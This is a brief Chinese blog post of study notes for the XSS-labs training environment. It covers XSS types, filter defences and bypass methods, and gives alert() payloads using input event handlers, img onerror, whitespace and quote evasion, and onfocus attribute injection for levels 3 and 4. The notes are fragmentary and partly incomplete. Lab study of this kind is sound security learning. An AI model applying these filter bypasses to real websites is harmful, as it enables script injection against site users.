XSS-labs

XSS漏洞类型:

1.反射型:与服务端交互,但是交互的数据一般不会被存在数据库中,一次性,所见即所得,一般出现在查询类页面等
2.存储型:交互的数据会被存在数据库中,永久性存储,一般出现在留言板,注册等页面等
3.DOM型:
1..DOM xss 通过js代码操作dom文档对象模型时触发的漏洞,不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的漏洞,大部分属于反射型,少部分属于存储型。
2一般不与服务端进行交互

XSS防御的过滤方式:

1.JS代码前端过滤
2.输入长度的限制
3.后端逻辑通过正则匹配来过滤输入,匹配关键字输入
1.过滤:”<”、”script”、”>”等关键字符

XSS绕过方式:

1.通过抓包直接,在数据包中修改发送到后端,修改前端代码的长度限制
2.通过大小写混合,复写

2.script标签

3.input标签
<input onblur=alert(“xss”) autofocus>
<input onfocus=alert(“xss”)>
<input onclick=alert(“xss”)>
<input onmouseover=alert(“xss”)>

1. 空格过滤

当空格被过滤了,可以用**/和注释符**代替空格,

1
2
<img/src="x"/onerror=alert(1);>
<img/**/src="x"/**/onerror=alert(1);>

2. 引号过滤

在html中可以不使用引号,在js中,可以用反引号代替单双引号

1
2
<img src=x onerror=alert(`xss`);>
除了单引号其他都被编码,可以试试onclick

3. 括号过滤

当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。(末尾有解释)

4.关键词过滤
关键词过滤可能可以使用大小写绕过、双写绕过、字符串拼接绕过

alert(1);
反引号代替单双引号

level 1

LEVEL 2


“>“<

LEVEL 3

发现符号被过滤<>,利用onfocus事件方法可以绕过html实体化(即<>号的过滤)。
‘ onfocus=javascript:alert() ‘

LEVEL4

输入<>后发现依然被过滤,利用onfocus方法注入,可以看到闭合方法是””,所以修改为
“ onfocus=javascript:alert() “


XSS-labs
http://yoursite.com/2024/09/21/XSS-labs/
Author
John Doe
Posted on
September 21, 2024
Licensed under